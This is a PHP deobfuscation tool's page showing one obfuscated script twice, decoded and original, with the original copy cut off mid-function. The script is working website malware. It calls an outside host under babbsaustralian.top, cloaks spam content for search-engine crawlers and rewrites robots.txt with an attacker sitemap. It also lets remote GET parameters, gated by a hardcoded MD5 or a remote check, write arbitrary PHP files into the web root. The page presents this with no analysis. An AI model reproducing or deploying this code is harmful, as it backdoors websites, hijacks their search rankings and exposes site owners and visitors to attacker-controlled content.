Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto Y6ShP; C1cGA: $JJRt4 = iI4SX(); goto P6mig; iQbgR: $skpeV = $TZrzA . base64_decode("\..

Decoded Output download

<?  goto Y6ShP; C1cGA: $JJRt4 = iI4SX(); goto P6mig; iQbgR: $skpeV = $TZrzA . base64_decode("Oi8v") . $ATGxu . base64_decode("L2luZGV4bmV3LnBocD93ZWI9") . $SmoRY . base64_decode("Jnp6PQ==") . PpmaT() . base64_decode("JnVyaT0=") . $o3eAh . base64_decode("JnVybHNoYW5nPQ==") . $uWO5A . base64_decode("Jmh0dHA9") . $Apo2r . base64_decode("Jmxhbmc9") . $O6KaH; goto MfCJo; jLWPk: if (strstr($V5YKV, base64_decode("LnhtbA=="))) { goto AUaT0; } goto l2R5o; HI8iY: YPQkC: goto BMhUA; Y0Hs7: $SmoRY = $_SERVER[base64_decode("SFRUUF9IT1NU")]; goto n90xr; ZNf5q: goto ee7Zo; goto BTqNj; n90xr: $O6KaH = @$_SERVER[base64_decode("SFRUUF9BQ0NFUFRfTEFOR1VBR0U=")]; goto HjEL7; MfCJo: $PVt_B = trim(kMHcJ($skpeV)); goto E_Qsr; zrDv2: $PVt_B = str_replace(base64_decode("b2todG1sZ2V0Y29udGVudA=="), '', $PVt_B); goto pFQUf; IVjlH: function II4SX() { goto Mawd2; ZTsyB: if (isset($_SERVER[base64_decode("YXJndg==")])) { goto Eco6i; } goto XaFfi; qEo4D: TTmBP: goto Iq2vj; XaFfi: $o3eAh = $_SERVER[base64_decode("UEhQX1NFTEY=")] . base64_decode("Pw==") . $_SERVER[base64_decode("UVVFUllfU1RSSU5H")]; goto clO7A; XTLY7: $o3eAh = $_SERVER[base64_decode("UkVRVUVTVF9VUkk=")]; goto k0WvZ; a3ixy: Eco6i: goto tUXDt; Dq5xv: return $o3eAh; goto N992g; Mawd2: if (isset($_SERVER[base64_decode("UkVRVUVTVF9VUkk=")])) { goto OMAIG; } goto ZTsyB; Iq2vj: goto Zf87b; goto GdGns; GdGns: OMAIG: goto XTLY7; clO7A: goto TTmBP; goto a3ixy; k0WvZ: Zf87b: goto Dq5xv; tUXDt: $o3eAh = $_SERVER[base64_decode("UEhQX1NFTEY=")] . base64_decode("Pw==") . $_SERVER[base64_decode("YXJndg==")][0]; goto qEo4D; N992g: } goto IS8gb; BbwMT: uw6Yg: goto telXi; z8un7: sZq5U: goto R3fyr; HYdRu: $SIx3u = $P6g4e . base64_decode("L3NpdGVtYXAueG1s"); goto ohHE7; telXi: $xkNEK = $P6g4e . base64_decode("L3JvYm90cy50eHQ="); goto P0yor; DSmWR: drkCW: goto MDctp; LFNOy: $i9p0G = base64_decode("cHV0"); goto pb0SO; oolsS: I2pkT: goto D_Jly; Y6ShP: @set_time_limit(3600); goto oU_wl; fl7L2: HgfIp: goto G7ZDH; NdOOp: exit; goto oolsS; FZhmd: LObux: goto iQbgR; lix90: if (stristr($I3e1a, $TDNip)) { goto uVFwW; } goto FjftY; p5aQC: if (!($i9p0G == base64_decode("cHV0"))) { goto HU10E; } goto jLWPk; ADLLf: $UDKM8 = md5(@$_GET[base64_decode("Yg==")]); goto JVroZ; nDBHA: goto YPQkC; goto TGU1T; pFQUf: echo $PVt_B; goto X9gpz; DED63: @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L3htbA==")); goto AohdO; RH3KX: function dV2O2() { goto rAsel; PGLS9: hjri3: goto CV0Lb; SH2fx: goto HU61L; goto muQMJ; oWraY: H8nTt: goto wCG5s; wh3kv: goto HU61L; goto oWraY; rAsel: if (isset($_SERVER[base64_decode("SFRUUFM=")]) && strtolower($_SERVER[base64_decode("SFRUUFM=")]) !== base64_decode("b2Zm")) { goto H8nTt; } goto d87_T; d87_T: if (isset($_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==")]) && $_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==")] === base64_decode("aHR0cHM=")) { goto hjri3; } goto m4B4T; wCG5s: return true; goto Eg5RK; OFjeg: return true; goto M4V27; CV0Lb: return true; goto SH2fx; Eg5RK: goto HU61L; goto PGLS9; m4B4T: if (isset($_SERVER[base64_decode("SFRUUF9GUk9OVF9FTkRfSFRUUFM=")]) && strtolower($_SERVER[base64_decode("SFRUUF9GUk9OVF9FTkRfSFRUUFM=")]) !== base64_decode("b2Zm")) { goto XPJ8k; } goto wh3kv; M4V27: HU61L: goto McLFs; muQMJ: XPJ8k: goto OFjeg; McLFs: return false; goto E2xp7; E2xp7: } goto Y0Hs7; IS8gb: $ATGxu = $MWqhv . base64_decode("LmJhYmJzYXVzdHJhbGlhbi50b3A="); goto RH3KX; P0yor: if (file_exists($xkNEK)) { goto q97B0; } goto eu0XN; ccyht: goto I2pkT; goto ajgio; Ip5d0: e4bNA: goto IeP6N; nmwAH: function ppMaT() { goto fzljv; TwaPp: return true; goto O3lTR; pgGOw: return false; goto HTpLi; O3lTR: WBmzz: goto vx03n; HTpLi: goto WBmzz; goto G6D5E; fzljv: $URgdv = strtolower($_SERVER[base64_decode("SFRUUF9VU0VSX0FHRU5U")]); goto TxSUe; TxSUe: if (stristr($URgdv, base64_decode("Z29vZ2xlYm90")) || stristr($URgdv, base64_decode("YmluZw==")) || stristr($URgdv, base64_decode("eWFob28=")) || stristr($URgdv, base64_decode("Z29vZ2xl")) || stristr($URgdv, base64_decode("R29vZ2xlYm90")) || stristr($URgdv, base64_decode("Z29vZ2xlYm90"))) { goto TdefZ; } goto pgGOw; G6D5E: TdefZ: goto TwaPp; vx03n: } goto PGQKs; ajgio: gaWVl: goto kSb8o; IhFu2: if (strstr($PVt_B, base64_decode("b2todG1sZ2V0Y29udGVudA=="))) { goto zf3qR; } goto y99Cz; Hr7tb: Ima4h: goto J1ae3; xhSp2: @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg=")); goto dMKlb; E_Qsr: if (strstr($PVt_B, base64_decode("bm9ib3R1c2VyYWdlbnQ="))) { goto HUkXn; } goto IhFu2; y99Cz: if (strstr($PVt_B, base64_decode("b2t4bWxnZXRjb250ZW50"))) { goto gaWVl; } goto ZeWha; yXOdk: if (!strstr($V5YKV, base64_decode("LnA=") . base64_decode("aHA="))) { goto PHHbR; } goto GpgQg; UtXox: V6eci: goto Ip5d0; AohdO: echo $PVt_B; goto NdOOp; RHXm3: echo base64_decode("PGJyPmZpbGUgd3JpdGUgZmFsc2UhPGJyPg=="); goto q_8IH; Rt4lH: HU10E: goto lCYaT; sloEN: goto Zva0M; goto saO6x; ntsHV: $Apo2r = base64_decode("aHR0cA=="); goto WHsgh; FONA6: $MWqhv = base64_decode("cjg4"); goto mzOQc; udQ5L: $uWO5A = ''; goto tvboB; eCAzX: Zva0M: goto L8lLG; g4s92: $uWO5A = $_SERVER[base64_decode("SFRUUF9SRUZFUkVS")]; goto vMLUQ; GpgQg: $UjQXK = md5(@$_GET[base64_decode("YQ==")]); goto ADLLf; TsDmZ: zf3qR: goto pSP8k; tvboB: if (!isset($_SERVER[base64_decode("SFRUUF9SRUZFUkVS")])) { goto HgfIp; } goto g4s92; TGU1T: q97B0: goto BOGyL; dMKlb: echo ZarZL($PVt_B); goto MAZNZ; l2R5o: echo base64_decode("PGJyPnNpdGVtYXAgbmFtZSBmYWxzZSE8YnI+"); goto ZNf5q; D_Jly: goto Ima4h; goto TsDmZ; FjftY: if (file_put_contents($xkNEK, trim($I3e1a) . base64_decode("DQo=") . base64_decode("U2l0ZW1hcDog") . $TDNip)) { goto sZq5U; } goto RHXm3; oU_wl: @ignore_user_abort(1); goto FONA6; q_8IH: goto drkCW; goto z8un7; JVroZ: if (!($UjQXK == kMHcJ($TZrzA . base64_decode("Oi8v") . $ATGxu . base64_decode("L2EucA==") . base64_decode("aHA=")) || $UDKM8 == base64_decode("MDVjZDNmM2JkYjZkNjM3YjUzOTMwYzc2YjQ3YWU5MTI="))) { goto e4bNA; } goto tIJ9g; H9LcB: if (isset($_SERVER[base64_decode("RE9DVU1FTlRfUk9PVA==")])) { goto JyN6p; } goto lzKKd; lsjnd: if (Dv2O2()) { goto YpuPk; } goto ntsHV; pb0SO: H60KC: goto p5aQC; mzOQc: $TZrzA = base64_decode("aHR0cA=="); goto lsjnd; WHsgh: goto mX_hy; goto lmAXL; KCUHL: $JJRt4 = base64_decode("Lw=="); goto TOX0b; DjjQb: mX_hy: goto C1cGA; FaNOr: $o3eAh = urlencode($JJRt4); goto IVjlH; OD_yQ: $P6g4e = $_SERVER[base64_decode("RE9DVU1FTlRfUk9PVA==")]; goto eCAzX; vMLUQ: $uWO5A = urlencode($uWO5A); goto fl7L2; Wuo91: if (!file_put_contents($P6g4e . base64_decode("Lw==") . $V5YKV, $a61ia)) { goto V6eci; } goto IrdHi; L8lLG: if ($i9p0G) { goto H60KC; } goto LFNOy; HjEL7: $O6KaH = urlencode($O6KaH); goto udQ5L; saO6x: JyN6p: goto OD_yQ; BTqNj: AUaT0: goto HYdRu; ohHE7: if (!is_file($SIx3u)) { goto uw6Yg; } goto jbcFa; jbcFa: @unlink($SIx3u); goto BbwMT; MDctp: goto U31iN; goto V0cJQ; lzKKd: $P6g4e = dirname(__FILE__); goto sloEN; BMhUA: $TDNip = $Apo2r . base64_decode("Oi8v") . $SmoRY . base64_decode("Lw==") . $V5YKV; goto lix90; R3fyr: echo base64_decode("PGJyPm9rPGJyPg=="); goto DSmWR; BOGyL: $I3e1a = kMHcJ($xkNEK); goto HI8iY; G7ZDH: if (!(@$_GET[base64_decode("cGQ=")] != '')) { goto LObux; } goto BWno5; tIJ9g: $a61ia = @$_GET[base64_decode("ZHN0cg==")]; goto Wuo91; eXE0m: ee7Zo: goto yXOdk; BWno5: $V5YKV = @$_GET[base64_decode("bWFwbmFtZQ==")]; goto ccZ9H; IeP6N: PHHbR: goto Rt4lH; eu0XN: $I3e1a = base64_decode("VXNlci1hZ2VudDogKkFsbG93OiAv"); goto nDBHA; nLfnJ: function ZARZL($MYwRJ) { goto IwPRr; EA4zW: return $gEsQi; goto LVmRF; eU2Zr: $gEsQi = ''; goto JZfea; JZfea: foreach ($HIiGq as $MM5lc) { goto pJp1p; pJp1p: $npy3k = KmHcJ($MM5lc); goto oiqSm; vtcfk: FD8fF: goto APA29; oiqSm: $sZ0oi = strpos($npy3k, base64_decode("U2l0ZW1hcCBOb3RpZmljYXRpb24gUmVjZWl2ZWQ=")) !== false ? base64_decode("cGluZ29r") : base64_decode("ZXJyb3I="); goto vIglH; vIglH: $gEsQi .= $MM5lc . base64_decode("LS0g") . $sZ0oi . base64_decode("PGJyPg=="); goto vtcfk; APA29: } goto rp07i; rp07i: GsIfm: goto EA4zW; IwPRr: $HIiGq = explode(base64_decode("DQo="), trim($MYwRJ)); goto eU2Zr; LVmRF: } goto nmwAH; Q_efv: U31iN: goto eXE0m; P6mig: if (!($JJRt4 == '')) { goto b9Q2G; } goto KCUHL; kLHzZ: echo base64_decode("PGJyPnNpdGVtYXAgYWxyZWFkeSBhZGRlZCE8YnI+"); goto Q_efv; J1ae3: HUkXn: goto nLfnJ; V0cJQ: uVFwW: goto kLHzZ; IrdHi: echo base64_decode("b2s="); goto UtXox; pSP8k: @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg=")); goto zrDv2; ccZ9H: $i9p0G = @$_GET[base64_decode("YWN0aW9u")]; goto H9LcB; K13R_: $PVt_B = str_replace(base64_decode("cGluZ3htbGdldGNvbnRlbnQ="), '', $PVt_B); goto xhSp2; lCYaT: exit; goto FZhmd; MAZNZ: exit; goto gqT0b; ZeWha: if (!strstr($PVt_B, base64_decode("cGluZ3htbGdldGNvbnRlbnQ="))) { goto ra88j; } goto K13R_; lmAXL: YpuPk: goto Ra6eb; gqT0b: ra88j: goto ccyht; X9gpz: exit; goto Hr7tb; TOX0b: b9Q2G: goto FaNOr; Ra6eb: $Apo2r = base64_decode("aHR0cHM="); goto DjjQb; kSb8o: $PVt_B = str_replace(base64_decode("b2t4bWxnZXRjb250ZW50"), '', $PVt_B); goto DED63; PGQKs: function KMHCj($MYwRJ) { goto hXQ7O; lwBtw: return $IzM8j; goto t3k1b; dQ5Uy: curl_setopt($O4ZOh, CURLOPT_CONNECTTIMEOUT, 30); goto mdqU1; hXQ7O: $IzM8j = ''; goto Tl2ME; TRpfZ: curl_setopt($O4ZOh, CURLOPT_SSL_VERIFYHOST, 0); goto O9qNO; k7y6G: $O4ZOh = curl_init(); goto LQLbV; RX1lB: D4r8y: goto lwBtw; DwxpC: curl_close($O4ZOh); goto yjhEh; Tl2ME: if (!function_exists(base64_decode("Y3VybF9pbml0"))) { goto Someb; } goto k7y6G; mdqU1: $IzM8j = curl_exec($O4ZOh); goto DwxpC; HrrVq: if ($IzM8j) { goto D4r8y; } goto fpvpc; O9qNO: curl_setopt($O4ZOh, CURLOPT_SSL_VERIFYPEER, 0); goto AzkxO; AzkxO: curl_setopt($O4ZOh, CURLOPT_RETURNTRANSFER, 1); goto dQ5Uy; fpvpc: $IzM8j = @file_get_contents($MYwRJ); goto RX1lB; yjhEh: Someb: goto HrrVq; LQLbV: curl_setopt($O4ZOh, CURLOPT_URL, $MYwRJ); goto TRpfZ; t3k1b: } ?>

Did this file decode correctly?

Original Code

goto Y6ShP; C1cGA: $JJRt4 = iI4SX(); goto P6mig; iQbgR: $skpeV = $TZrzA . base64_decode("\x4f\x69\70\x76") . $ATGxu . base64_decode("\x4c\62\x6c\165\x5a\107\x56\64\x62\155\x56\63\114\156\x42\157\x63\104\71\x33\132\x57\111\71") . $SmoRY . base64_decode("\112\x6e\160\x36\120\x51\x3d\x3d") . PpmaT() . base64_decode("\112\x6e\126\171\141\124\60\75") . $o3eAh . base64_decode("\x4a\156\126\x79\142\x48\116\x6f\131\x57\65\156\x50\x51\75\x3d") . $uWO5A . base64_decode("\112\155\x68\60\x64\110\101\x39") . $Apo2r . base64_decode("\112\x6d\170\150\142\x6d\143\x39") . $O6KaH; goto MfCJo; jLWPk: if (strstr($V5YKV, base64_decode("\x4c\156\150\164\x62\x41\x3d\x3d"))) { goto AUaT0; } goto l2R5o; HI8iY: YPQkC: goto BMhUA; Y0Hs7: $SmoRY = $_SERVER[base64_decode("\x53\x46\122\125\125\106\71\111\124\x31\116\x55")]; goto n90xr; ZNf5q: goto ee7Zo; goto BTqNj; n90xr: $O6KaH = @$_SERVER[base64_decode("\123\106\122\125\125\x46\x39\102\121\x30\x4e\106\125\106\x52\146\x54\x45\106\x4f\x52\61\126\x42\122\x30\125\75")]; goto HjEL7; MfCJo: $PVt_B = trim(kMHcJ($skpeV)); goto E_Qsr; zrDv2: $PVt_B = str_replace(base64_decode("\142\62\x74\x6f\144\107\x31\x73\x5a\62\126\x30\x59\x32\x39\x75\x64\x47\126\x75\x64\101\75\75"), '', $PVt_B); goto pFQUf; IVjlH: function II4SX() { goto Mawd2; ZTsyB: if (isset($_SERVER[base64_decode("\x59\130\x4a\156\x64\147\75\75")])) { goto Eco6i; } goto XaFfi; qEo4D: TTmBP: goto Iq2vj; XaFfi: $o3eAh = $_SERVER[base64_decode("\x55\x45\x68\121\x58\x31\116\106\x54\x45\x59\75")] . base64_decode("\x50\167\x3d\x3d") . $_SERVER[base64_decode("\x55\126\126\106\x55\x6c\x6c\146\x55\61\122\123\123\125\x35\110")]; goto clO7A; XTLY7: $o3eAh = $_SERVER[base64_decode("\125\153\x56\122\126\x55\126\x54\x56\106\x39\126\x55\x6b\x6b\75")]; goto k0WvZ; a3ixy: Eco6i: goto tUXDt; Dq5xv: return $o3eAh; goto N992g; Mawd2: if (isset($_SERVER[base64_decode("\x55\153\126\x52\x56\x55\x56\124\x56\106\x39\126\x55\x6b\153\75")])) { goto OMAIG; } goto ZTsyB; Iq2vj: goto Zf87b; goto GdGns; GdGns: OMAIG: goto XTLY7; clO7A: goto TTmBP; goto a3ixy; k0WvZ: Zf87b: goto Dq5xv; tUXDt: $o3eAh = $_SERVER[base64_decode("\x55\x45\150\x51\130\61\x4e\x46\x54\105\x59\x3d")] . base64_decode("\120\167\x3d\75") . $_SERVER[base64_decode("\131\130\x4a\x6e\x64\147\75\75")][0]; goto qEo4D; N992g: } goto IS8gb; BbwMT: uw6Yg: goto telXi; z8un7: sZq5U: goto R3fyr; HYdRu: $SIx3u = $P6g4e . base64_decode("\114\x33\x4e\x70\x64\x47\x56\164\131\130\101\x75\x65\x47\x31\163"); goto ohHE7; telXi: $xkNEK = $P6g4e . base64_decode("\x4c\x33\112\x76\x59\x6d\x39\x30\x63\x79\65\60\x65\110\x51\75"); goto P0yor; DSmWR: drkCW: goto MDctp; LFNOy: $i9p0G = base64_decode("\143\110\126\60"); goto pb0SO; oolsS: I2pkT: goto D_Jly; Y6ShP: @set_time_limit(3600); goto oU_wl; fl7L2: HgfIp: goto G7ZDH; NdOOp: exit; goto oolsS; FZhmd: LObux: goto iQbgR; lix90: if (stristr($I3e1a, $TDNip)) { goto uVFwW; } goto FjftY; p5aQC: if (!($i9p0G == base64_decode("\x63\110\126\x30"))) { goto HU10E; } goto jLWPk; ADLLf: $UDKM8 = md5(@$_GET[base64_decode("\x59\x67\75\75")]); goto JVroZ; nDBHA: goto YPQkC; goto TGU1T; pFQUf: echo $PVt_B; goto X9gpz; DED63: @header(base64_decode("\121\x32\x39\165\x64\x47\x56\x75\x64\x43\61\x30\x65\x58\x42\x6c\117\x69\102\60\x5a\x58\150\x30\x4c\x33\150\164\142\x41\75\x3d")); goto AohdO; RH3KX: function dV2O2() { goto rAsel; PGLS9: hjri3: goto CV0Lb; SH2fx: goto HU61L; goto muQMJ; oWraY: H8nTt: goto wCG5s; wh3kv: goto HU61L; goto oWraY; rAsel: if (isset($_SERVER[base64_decode("\123\106\x52\x55\125\106\x4d\x3d")]) && strtolower($_SERVER[base64_decode("\123\x46\122\125\125\106\115\75")]) !== base64_decode("\142\x32\x5a\155")) { goto H8nTt; } goto d87_T; d87_T: if (isset($_SERVER[base64_decode("\123\106\x52\125\x55\x46\71\x59\x58\60\x5a\120\x55\x6c\x64\102\x55\x6b\122\x46\122\106\71\x51\125\x6b\71\x55\x54\x77\75\75")]) && $_SERVER[base64_decode("\x53\106\x52\x55\125\x46\x39\131\x58\60\x5a\x50\x55\154\x64\102\x55\x6b\x52\x46\122\x46\71\121\x55\153\71\x55\124\167\x3d\x3d")] === base64_decode("\x61\x48\x52\60\x63\110\x4d\x3d")) { goto hjri3; } goto m4B4T; wCG5s: return true; goto Eg5RK; OFjeg: return true; goto M4V27; CV0Lb: return true; goto SH2fx; Eg5RK: goto HU61L; goto PGLS9; m4B4T: if (isset($_SERVER[base64_decode("\123\x46\122\x55\x55\x46\x39\x47\x55\x6b\x39\117\126\106\71\x46\x54\x6b\x52\x66\x53\x46\x52\x55\125\106\x4d\x3d")]) && strtolower($_SERVER[base64_decode("\x53\x46\122\x55\x55\x46\71\107\125\x6b\x39\x4f\126\106\x39\106\x54\153\122\x66\x53\x46\x52\x55\125\106\x4d\75")]) !== base64_decode("\x62\x32\132\155")) { goto XPJ8k; } goto wh3kv; M4V27: HU61L: goto McLFs; muQMJ: XPJ8k: goto OFjeg; McLFs: return false; goto E2xp7; E2xp7: } goto Y0Hs7; IS8gb: $ATGxu = $MWqhv . base64_decode("\114\x6d\x4a\x68\x59\155\112\x7a\131\x58\126\x7a\x64\110\x4a\x68\x62\x47\x6c\x68\142\x69\x35\60\142\63\x41\75"); goto RH3KX; P0yor: if (file_exists($xkNEK)) { goto q97B0; } goto eu0XN; ccyht: goto I2pkT; goto ajgio; Ip5d0: e4bNA: goto IeP6N; nmwAH: function ppMaT() { goto fzljv; TwaPp: return true; goto O3lTR; pgGOw: return false; goto HTpLi; O3lTR: WBmzz: goto vx03n; HTpLi: goto WBmzz; goto G6D5E; fzljv: $URgdv = strtolower($_SERVER[base64_decode("\123\x46\x52\125\125\106\71\126\x55\x30\x56\x53\130\x30\x46\110\x52\125\x35\125")]); goto TxSUe; TxSUe: if (stristr($URgdv, base64_decode("\x5a\x32\71\166\132\x32\170\154\x59\155\71\x30")) || stristr($URgdv, base64_decode("\x59\x6d\x6c\x75\132\167\75\75")) || stristr($URgdv, base64_decode("\145\127\106\157\x62\62\70\75")) || stristr($URgdv, base64_decode("\132\x32\x39\166\x5a\62\x78\x6c")) || stristr($URgdv, base64_decode("\122\x32\71\x76\132\x32\x78\154\x59\x6d\71\60")) || stristr($URgdv, base64_decode("\x5a\62\x39\x76\132\62\x78\154\x59\155\71\60"))) { goto TdefZ; } goto pgGOw; G6D5E: TdefZ: goto TwaPp; vx03n: } goto PGQKs; ajgio: gaWVl: goto kSb8o; IhFu2: if (strstr($PVt_B, base64_decode("\142\62\164\157\144\107\61\163\132\62\126\x30\131\x32\71\x75\144\x47\x56\x75\144\x41\75\75"))) { goto zf3qR; } goto y99Cz; Hr7tb: Ima4h: goto J1ae3; xhSp2: @header(base64_decode("\121\x32\x39\x75\x64\x47\x56\x75\144\103\x31\x30\145\130\x42\x6c\x4f\151\x42\x30\x5a\x58\x68\x30\114\62\x68\x30\142\x57\x77\x37\x49\x47\116\157\x59\x58\x4a\172\132\130\121\x39\144\130\122\155\x4c\124\x67\x3d")); goto dMKlb; E_Qsr: if (strstr($PVt_B, base64_decode("\142\x6d\71\151\x62\x33\122\x31\143\62\x56\x79\131\x57\x64\154\x62\x6e\x51\x3d"))) { goto HUkXn; } goto IhFu2; y99Cz: if (strstr($PVt_B, base64_decode("\x62\x32\x74\64\142\x57\x78\156\x5a\130\x52\152\x62\x32\65\x30\132\127\65\60"))) { goto gaWVl; } goto ZeWha; yXOdk: if (!strstr($V5YKV, base64_decode("\114\156\x41\75") . base64_decode("\141\x48\101\75"))) { goto PHHbR; } goto GpgQg; UtXox: V6eci: goto Ip5d0; AohdO: echo $PVt_B; goto NdOOp; RHXm3: echo base64_decode("\120\107\x4a\x79\x50\155\x5a\x70\142\107\125\147\144\x33\112\160\x64\x47\125\x67\x5a\x6d\x46\163\x63\x32\125\x68\x50\x47\112\171\x50\x67\75\x3d"); goto q_8IH; Rt4lH: HU10E: goto lCYaT; sloEN: goto Zva0M; goto saO6x; ntsHV: $Apo2r = base64_decode("\x61\x48\122\x30\143\x41\x3d\75"); goto WHsgh; FONA6: $MWqhv = base64_decode("\x63\152\147\x34"); goto mzOQc; udQ5L: $uWO5A = ''; goto tvboB; eCAzX: Zva0M: goto L8lLG; g4s92: $uWO5A = $_SERVER[base64_decode("\x53\x46\122\x55\125\106\71\x53\x52\x55\x5a\x46\125\x6b\x56\123")]; goto vMLUQ; GpgQg: $UjQXK = md5(@$_GET[base64_decode("\x59\121\x3d\x3d")]); goto ADLLf; TsDmZ: zf3qR: goto pSP8k; tvboB: if (!isset($_SERVER[base64_decode("\123\106\x52\125\125\106\x39\x53\x52\x55\132\106\125\x6b\x56\123")])) { goto HgfIp; } goto g4s92; TGU1T: q97B0: goto BOGyL; dMKlb: echo ZarZL($PVt_B); goto MAZNZ; l2R5o: echo base64_decode("\x50\107\112\171\x50\x6e\x4e\160\144\107\x56\164\131\130\x41\x67\x62\x6d\x46\164\132\x53\x42\155\x59\x57\x78\x7a\x5a\123\105\x38\131\156\111\x2b"); goto ZNf5q; D_Jly: goto Ima4h; goto TsDmZ; FjftY: if (file_put_contents($xkNEK, trim($I3e1a) . base64_decode("\x44\121\x6f\x3d") . base64_decode("\125\62\154\x30\x5a\127\x31\x68\x63\x44\x6f\x67") . $TDNip)) { goto sZq5U; } goto RHXm3; oU_wl: @ignore_user_abort(1); goto FONA6; q_8IH: goto drkCW; goto z8un7; JVroZ: if (!($UjQXK == kMHcJ($TZrzA . base64_decode("\117\151\70\166") . $ATGxu . base64_decode("\x4c\62\105\165\143\101\75\x3d") . base64_decode("\x61\x48\101\75")) || $UDKM8 == base64_decode("\115\x44\x56\152\132\x44\x4e\155\115\x32\x4a\x6b\131\x6a\132\153\x4e\152\x4d\63\131\152\125\x7a\117\124\x4d\x77\131\172\x63\x32\131\x6a\121\x33\x59\127\125\65\x4d\x54\111\x3d"))) { goto e4bNA; } goto tIJ9g; H9LcB: if (isset($_SERVER[base64_decode("\122\x45\71\104\x56\125\61\106\x54\x6c\x52\146\125\153\x39\x50\x56\x41\75\x3d")])) { goto JyN6p; } goto lzKKd; lsjnd: if (Dv2O2()) { goto YpuPk; } goto ntsHV; pb0SO: H60KC: goto p5aQC; mzOQc: $TZrzA = base64_decode("\141\110\122\60\x63\101\75\x3d"); goto lsjnd; WHsgh: goto mX_hy; goto lmAXL; KCUHL: $JJRt4 = base64_decode("\x4c\167\x3d\x3d"); goto TOX0b; DjjQb: mX_hy: goto C1cGA; FaNOr: $o3eAh = urlencode($JJRt4); goto IVjlH; OD_yQ: $P6g4e = $_SERVER[base64_decode("\122\x45\71\x44\x56\125\61\x46\124\x6c\x52\146\x55\153\71\120\126\x41\75\75")]; goto eCAzX; vMLUQ: $uWO5A = urlencode($uWO5A); goto fl7L2; Wuo91: if (!file_put_contents($P6g4e . base64_decode("\114\167\x3d\75") . $V5YKV, $a61ia)) { goto V6eci; } goto IrdHi; L8lLG: if ($i9p0G) { goto H60KC; } goto LFNOy; HjEL7: $O6KaH = urlencode($O6KaH); goto udQ5L; saO6x: JyN6p: goto OD_yQ; BTqNj: AUaT0: goto HYdRu; ohHE7: if (!is_file($SIx3u)) { goto uw6Yg; } goto jbcFa; jbcFa: @unlink($SIx3u); goto BbwMT; MDctp: goto U31iN; goto V0cJQ; lzKKd: $P6g4e = dirname(__FILE__); goto sloEN; BMhUA: $TDNip = $Apo2r . base64_decode("\x4f\x69\x38\166") . $SmoRY . base64_decode("\x4c\x77\75\x3d") . $V5YKV; goto lix90; R3fyr: echo base64_decode("\120\x47\x4a\171\x50\x6d\71\162\x50\x47\112\x79\x50\x67\x3d\75"); goto DSmWR; BOGyL: $I3e1a = kMHcJ($xkNEK); goto HI8iY; G7ZDH: if (!(@$_GET[base64_decode("\x63\107\x51\x3d")] != '')) { goto LObux; } goto BWno5; tIJ9g: $a61ia = @$_GET[base64_decode("\132\110\116\60\x63\147\75\75")]; goto Wuo91; eXE0m: ee7Zo: goto yXOdk; BWno5: $V5YKV = @$_GET[base64_decode("\x62\x57\106\x77\142\155\x46\164\132\121\75\x3d")]; goto ccZ9H; IeP6N: PHHbR: goto Rt4lH; eu0XN: $I3e1a = base64_decode("\126\130\116\x6c\x63\151\x31\150\132\62\x56\x75\x64\104\x6f\x67\113\x6b\106\163\142\107\x39\63\117\151\101\x76"); goto nDBHA; nLfnJ: function ZARZL($MYwRJ) { goto IwPRr; EA4zW: return $gEsQi; goto LVmRF; eU2Zr: $gEsQi = ''; goto JZfea; JZfea: foreach ($HIiGq as $MM5lc) { goto pJp1p; pJp1p: $npy3k = KmHcJ($MM5lc); goto oiqSm; vtcfk: FD8fF: goto APA29; oiqSm: $sZ0oi = strpos($npy3k, base64_decode("\x55\x32\x6c\60\132\x57\x31\x68\x63\x43\102\117\x62\x33\122\x70\132\155\x6c\x6a\x59\130\x52\x70\142\62\x34\x67\125\x6d\x56\x6a\132\x57\x6c\62\x5a\x57\x51\x3d")) !== false ? base64_decode("\143\x47\x6c\x75\132\x32\x39\162") : base64_decode("\132\x58\112\171\142\x33\111\75"); goto vIglH; vIglH: $gEsQi .= $MM5lc . base64_decode("\114\x53\x30\x67") . $sZ0oi . base64_decode("\x50\x47\x4a\171\x50\147\75\x3d"); goto vtcfk; APA29: } goto rp07i; rp07i: GsIfm: goto EA4zW; IwPRr: $HIiGq = explode(base64_decode("\104\121\x6f\x3d"), trim($MYwRJ)); goto eU2Zr; LVmRF: } goto nmwAH; Q_efv: U31iN: goto eXE0m; P6mig: if (!($JJRt4 == '')) { goto b9Q2G; } goto KCUHL; kLHzZ: echo base64_decode("\x50\x47\x4a\171\120\x6e\x4e\x70\x64\107\126\164\x59\130\x41\147\131\127\x78\x79\132\x57\x46\153\145\123\x42\150\x5a\x47\x52\x6c\132\103\105\x38\131\x6e\111\53"); goto Q_efv; J1ae3: HUkXn: goto nLfnJ; V0cJQ: uVFwW: goto kLHzZ; IrdHi: echo base64_decode("\142\x32\163\75"); goto UtXox; pSP8k: @header(base64_decode("\121\x32\x39\165\x64\107\126\165\144\x43\x31\x30\145\130\102\154\117\151\102\x30\x5a\130\150\x30\114\62\x68\x30\142\x57\167\67\111\x47\116\157\x59\130\x4a\x7a\132\x58\121\71\x64\130\x52\155\x4c\x54\x67\x3d")); goto zrDv2; ccZ9H: $i9p0G = @$_GET[base64_decode("\x59\x57\x4e\x30\x61\127\x39\x75")]; goto H9LcB; K13R_: $PVt_B = str_replace(base64_decode("\x63\x47\154\x75\x5a\63\x68\164\x62\x47\x64\x6c\144\107\116\166\142\156\122\x6c\x62\156\121\75"), '', $PVt_B); goto xhSp2; lCYaT: exit; goto FZhmd; MAZNZ: exit; goto gqT0b; ZeWha: if (!strstr($PVt_B, base64_decode("\x63\x47\154\165\132\x33\150\x74\142\x47\x64\154\x64\107\x4e\x76\x62\x6e\x52\154\142\156\x51\x3d"))) { goto ra88j; } goto K13R_; lmAXL: YpuPk: goto Ra6eb; gqT0b: ra88j: goto ccyht; X9gpz: exit; goto Hr7tb; TOX0b: b9Q2G: goto FaNOr; Ra6eb: $Apo2r = base64_decode("\x61\x48\122\60\x63\x48\115\x3d"); goto DjjQb; kSb8o: $PVt_B = str_replace(base64_decode("\142\62\164\x34\x62\127\170\x6e\x5a\130\x52\152\x62\x32\x35\60\x5a\x57\65\x30"), '', $PVt_B); goto DED63; PGQKs: function KMHCj($MYwRJ) { goto hXQ7O; lwBtw: 